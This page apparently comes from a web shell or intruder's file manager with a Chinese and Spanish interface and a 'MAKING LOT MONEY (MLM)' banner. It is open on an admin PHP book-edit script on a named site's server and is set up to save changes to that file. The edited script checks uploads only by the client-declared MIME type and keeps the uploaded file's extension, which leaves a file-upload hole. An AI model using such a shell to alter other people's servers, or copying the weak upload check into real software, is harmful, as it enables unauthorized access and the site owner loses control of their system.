

<div style='background:#ffffff; color:#000; font-family:monospace; padding:0; max-width:900px; margin:20px auto; border:3px solid #000;'><div style='background:#000080; color:#fff; padding:6px 12px; font-weight:bold;'>✏ 编辑: edit_book.php</div><div style='padding:20px;'><form method='post' action='?opcion=editar_guardar'><textarea name='contenido' rows='20' style='width:100%; background:#fff; color:#000; border:2px solid #000; font-family:monospace; padding:10px;'>&lt;?php
require_once __DIR__ . '/../../db_config.php';
$conn = getDBConnection();

$error = '';
$success = '';

// Check if ID is provided
if (!isset($_GET['id']) || empty($_GET['id'])) {
    header(&quot;Location: AddBook.php&quot;);
    exit;
}

$id = intval($_GET['id']);

// Fetch current data
$stmt = $conn-&gt;prepare(&quot;SELECT * FROM books WHERE id = ?&quot;);
$stmt-&gt;bind_param(&quot;i&quot;, $id);
$stmt-&gt;execute();
$result = $stmt-&gt;get_result();

if ($result &amp;&amp; $result-&gt;num_rows &gt; 0) {
    $row = $result-&gt;fetch_assoc();
} else {
    $stmt-&gt;close();
    $conn-&gt;close();
    header(&quot;Location: AddBook.php&quot;);
    exit;
}
$stmt-&gt;close();

// Handle form submission
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $book_title = trim($_POST['book_title']);
    $book_price = trim($_POST['book_price']);
    $book_image = $row['book_image']; // Keep existing image by default

    // Validate inputs
    if (empty($book_title)) {
        $error = &quot;Book title is required.&quot;;
    } elseif (!is_numeric($book_price) || $book_price &lt; 0) {
        $error = &quot;Invalid book price.&quot;;
    }

    // Handle new image upload
    if (empty($error) &amp;&amp; isset($_FILES['book_image']) &amp;&amp; $_FILES['book_image']['error'] === 0) {
        $allowed_types = ['image/jpeg', 'image/png', 'image/gif', 'image/webp'];
        $file_type = $_FILES['book_image']['type'];
        
        if (!in_array($file_type, $allowed_types)) {
            $error = &quot;Invalid file type. Only JPG, PNG, GIF, and WEBP are allowed.&quot;;
        } elseif ($_FILES['book_image']['size'] &gt; 5000000) { // 5MB limit
            $error = &quot;File size must be less than 5MB.&quot;;
        } else {
            // Delete old image file
            $old_image_path = str_replace('images/books/', '', $row['book_image']);
            $old_file = __DIR__ . '/../../images/books/' . $old_image_path;
            
            if (file_exists($old_file)) {
                unlink($old_file);
            }

            // Upload new image
            $file_extension = pathinfo($_FILES['book_image']['name'], PATHINFO_EXTENSION);
            $book_image = uniqid('book_', true) . '.' . $file_extension;
            $target_dir = __DIR__ . '/../../images/books/';
            
            if (!is_dir($target_dir)) {
                mkdir($target_dir, 0755, true);
            }
            
            $target_file = $target_dir . $book_image;
            if (!move_uploaded_file($_FILES['book_image']['tmp_name'], $target_file)) {
                $error = &quot;Failed to upload new image.&quot;;
            }
        }
    }

    // Update database if no errors
    if (empty($error)) {
        $stmt = $conn-&gt;prepare(&quot;UPDATE books SET book_title = ?, book_image = ?, book_price = ? WHERE id = ?&quot;);
        if ($stmt) {
            $stmt-&gt;bind_param(&quot;ssdi&quot;, $book_title, $book_image, $book_price, $id);
            
            if ($stmt-&gt;execute()) {
                $stmt-&gt;close();
                $conn-&gt;close();
                // Redirect to listing page with success message
                header(&quot;Location: AddBook.php?updated=1&quot;);
                exit;
            } else {
                $error = &quot;Failed to update book: &quot; . $stmt-&gt;error;
            }
            $stmt-&gt;close();
        } else {
            $error = &quot;Failed to prepare statement: &quot; . $conn-&gt;error;
        }
    }
}

// Clean image path for display
$displayImagePath = str_replace('images/books/', '', $row['book_image']);
$fullImagePath = __DIR__ . '/../../images/books/' . $displayImagePath;

// Add cache busting parameter
$cacheBuster = file_exists($fullImagePath) ? '?v=' . filemtime($fullImagePath) : '';
?&gt;
&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;title&gt;Edit Book - &lt;?php echo htmlspecialchars($row['book_title']); ?&gt;&lt;/title&gt;
    &lt;style&gt;
        * {
            box-sizing: border-box;
        }

        body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Arial, sans-serif;
            background-color: #f8f9fa;
            padding: 20px;
            margin: 0;
        }

        .edit-book-container {
            max-width: 700px;
            margin: 0 auto;
            background: white;
            padding: 32px;
            border-radius: 8px;
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
        }

        .back-btn {
            display: inline-flex;
            align-items: center;
            gap: 8px;
            padding: 10px 20px;
            background: white;
            border: 1px solid #d9e4ff;
            border-radius: 6px;
            text-decoration: none;
            color: #7da0ff;
            font-weight: 600;
            margin-bottom: 24px;
            transition: all 0.2s ease;
        }

        .back-btn:hover {
            background: #f0f3ff;
            border-color: #7da0ff;
            transform: translateX(-4px);
        }

        h2 {
            margin: 0 0 24px 0;
            color: #222;
            font-size: 28px;
        }

        .alert {
            padding: 12px 16px;
            border-radius: 6px;
            margin-bottom: 20px;
            font-weight: 500;
        }

        .alert-error {
            background: #f8d7da;
            color: #721c24;
            border: 1px solid #f5c6cb;
        }

        form {
            display: flex;
            flex-direction: column;
            gap: 20px;
        }

        .form-group {
            display: flex;
            flex-direction: column;
        }

        label {
            font-weight: 600;
            margin-bottom: 8px;
            color: #555;
            font-size: 14px;
        }

        input[type=&quot;text&quot;], 
        input[type=&quot;file&quot;], 
        input[type=&quot;number&quot;] {
            padding: 12px 14px;
            border: 1px solid #d9e4ff;
            border-radius: 6px;
            font-size: 14px;
            font-family: inherit;
            color: #333;
            transition: border-color 0.2s;
        }

        input[type=&quot;text&quot;]:focus, 
        input[type=&quot;number&quot;]:focus {
            outline: none;
            border-color: #7da0ff;
            box-shadow: 0 0 0 3px rgba(125,160,255,0.1);
        }

        .current-image-container {
            background: #f9fbff;
            border: 1px solid #e1e7ff;
            border-radius: 8px;
            padding: 16px;
            text-align: center;
        }

        .current-image-label {
            font-size: 12px;
            color: #666;
            text-transform: uppercase;
            letter-spacing: 0.5px;
            margin-bottom: 12px;
            display: block;
        }

        .book-image-wrapper {
            max-width: 400px;
            margin: 0 auto;
            background: white;
            border-radius: 6px;
            overflow: hidden;
            box-shadow: 0 2px 8px rgba(0,0,0,0.1);
        }

        img.book-image {
            width: 100%;
            height: auto;
            max-height: 400px;
            object-fit: contain;
            display: block;
        }

        .image-placeholder {
            padding: 60px 20px;
            color: #ccc;
            font-size: 48px;
        }

        .file-input-wrapper {
            position: relative;
        }

        .file-input-hint {
            font-size: 12px;
            color: #666;
            margin-top: 6px;
        }

        .button-group {
            display: flex;
            gap: 12px;
            margin-top: 8px;
        }

        button.submit-btn {
            flex: 1;
            padding: 12px 24px;
            background: #28a745;
            color: white;
            border: none;
            border-radius: 6px;
            cursor: pointer;
            font-size: 16px;
            font-weight: 600;
            transition: all 0.3s;
        }

        button.submit-btn:hover {
            background: #218838;
            transform: translateY(-2px);
            box-shadow: 0 4px 12px rgba(40,167,69,0.3);
        }

        .cancel-btn {
            flex: 1;
            padding: 12px 24px;
            background: white;
            color: #666;
            border: 1px solid #ddd;
            border-radius: 6px;
            cursor: pointer;
            font-size: 16px;
            font-weight: 600;
            transition: all 0.2s;
            text-decoration: none;
            text-align: center;
            display: inline-block;
        }

        .cancel-btn:hover {
            background: #f8f9fa;
            border-color: #999;
        }

        @media (max-width: 600px) {
            .edit-book-container {
                padding: 20px;
            }

            .button-group {
                flex-direction: column;
            }
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;div class=&quot;edit-book-container&quot;&gt;
        &lt;a href=&quot;AddBook.php&quot; class=&quot;back-btn&quot;&gt;
            &lt;svg width=&quot;20&quot; height=&quot;20&quot; viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot;&gt;
                &lt;path d=&quot;M19 12H5M12 19l-7-7 7-7&quot;/&gt;
            &lt;/svg&gt;
            Back to Book List
        &lt;/a&gt;

        &lt;h2&gt;Edit Book&lt;/h2&gt;

        &lt;?php if ($error): ?&gt;
            &lt;div class=&quot;alert alert-error&quot;&gt;&lt;?php echo htmlspecialchars($error); ?&gt;&lt;/div&gt;
        &lt;?php endif; ?&gt;

        &lt;form action=&quot;edit_book.php?id=&lt;?php echo $id; ?&gt;&quot; method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot;&gt;
            &lt;div class=&quot;form-group&quot;&gt;
                &lt;label for=&quot;book_title&quot;&gt;Book Title *&lt;/label&gt;
                &lt;input type=&quot;text&quot; 
                       id=&quot;book_title&quot; 
                       name=&quot;book_title&quot; 
                       value=&quot;&lt;?php echo htmlspecialchars($row['book_title']); ?&gt;&quot; 
                       required&gt;
            &lt;/div&gt;

            &lt;div class=&quot;form-group&quot;&gt;
                &lt;label for=&quot;book_price&quot;&gt;Price (₹) *&lt;/label&gt;
                &lt;input type=&quot;number&quot; 
                       step=&quot;0.01&quot; 
                       id=&quot;book_price&quot; 
                       name=&quot;book_price&quot; 
                       value=&quot;&lt;?php echo htmlspecialchars($row['book_price']); ?&gt;&quot; 
                       required 
                       min=&quot;0&quot;&gt;
            &lt;/div&gt;

            &lt;div class=&quot;form-group&quot;&gt;
                &lt;div class=&quot;current-image-container&quot;&gt;
                    &lt;span class=&quot;current-image-label&quot;&gt;Current Image&lt;/span&gt;
                    &lt;div class=&quot;book-image-wrapper&quot;&gt;
                        &lt;?php if (file_exists($fullImagePath)): ?&gt;
                            &lt;img src=&quot;../../images/books/&lt;?php echo htmlspecialchars($displayImagePath) . $cacheBuster; ?&gt;&quot; 
                                 alt=&quot;&lt;?php echo htmlspecialchars($row['book_title']); ?&gt;&quot; 
                                 class=&quot;book-image&quot;
                                 id=&quot;currentImage&quot;&gt;
                        &lt;?php else: ?&gt;
                            &lt;div class=&quot;image-placeholder&quot;&gt;📚&lt;/div&gt;
                        &lt;?php endif; ?&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
            &lt;/div&gt;

            &lt;div class=&quot;form-group&quot;&gt;
                &lt;div class=&quot;file-input-wrapper&quot;&gt;
                    &lt;label for=&quot;book_image&quot;&gt;Upload New Image (Optional)&lt;/label&gt;
                    &lt;input type=&quot;file&quot; 
                           id=&quot;book_image&quot; 
                           name=&quot;book_image&quot; 
                           accept=&quot;image/*&quot;
                           onchange=&quot;previewImage(event)&quot;&gt;
                    &lt;div class=&quot;file-input-hint&quot;&gt;Leave empty to keep current image. Max size: 5MB&lt;/div&gt;
                &lt;/div&gt;
            &lt;/div&gt;

            &lt;div class=&quot;button-group&quot;&gt;
                &lt;button type=&quot;submit&quot; class=&quot;submit-btn&quot;&gt;Update Book&lt;/button&gt;
                &lt;a href=&quot;AddBook.php&quot; class=&quot;cancel-btn&quot;&gt;Cancel&lt;/a&gt;
            &lt;/div&gt;
        &lt;/form&gt;
    &lt;/div&gt;

    &lt;script&gt;
        function previewImage(event) {
            const file = event.target.files[0];
            const currentImage = document.getElementById('currentImage');
            
            if (file &amp;&amp; currentImage) {
                const reader = new FileReader();
                reader.onload = function(e) {
                    currentImage.src = e.target.result;
                }
                reader.readAsDataURL(file);
            }
        }
    &lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;
&lt;?php $conn-&gt;close(); ?&gt;</textarea><br><br><input type='hidden' name='archivo_editar' value='/home/askmanisha/public_html/admin/Book/edit_book.php'><input type='submit' value='[确定] 保存' style='background:#c0c0c0; color:#000; border:2px solid #000; padding:8px 24px; font-family:monospace; font-weight:bold; cursor:pointer;'> <a href='?path=%2Fhome%2Faskmanisha%2Fpublic_html%2Fadmin%2FBook' style='color:#000; text-decoration:none; padding:8px 24px; border:2px solid #000; background:#c0c0c0; font-weight:bold;'>[X] 取消</a></form></div></div><div style='color:#000080; font-family:monospace; text-align:center; padding:20px; border-top:2px solid #000; margin-top:20px;'>[X] MAKING LOT MONEY (MLM)</div>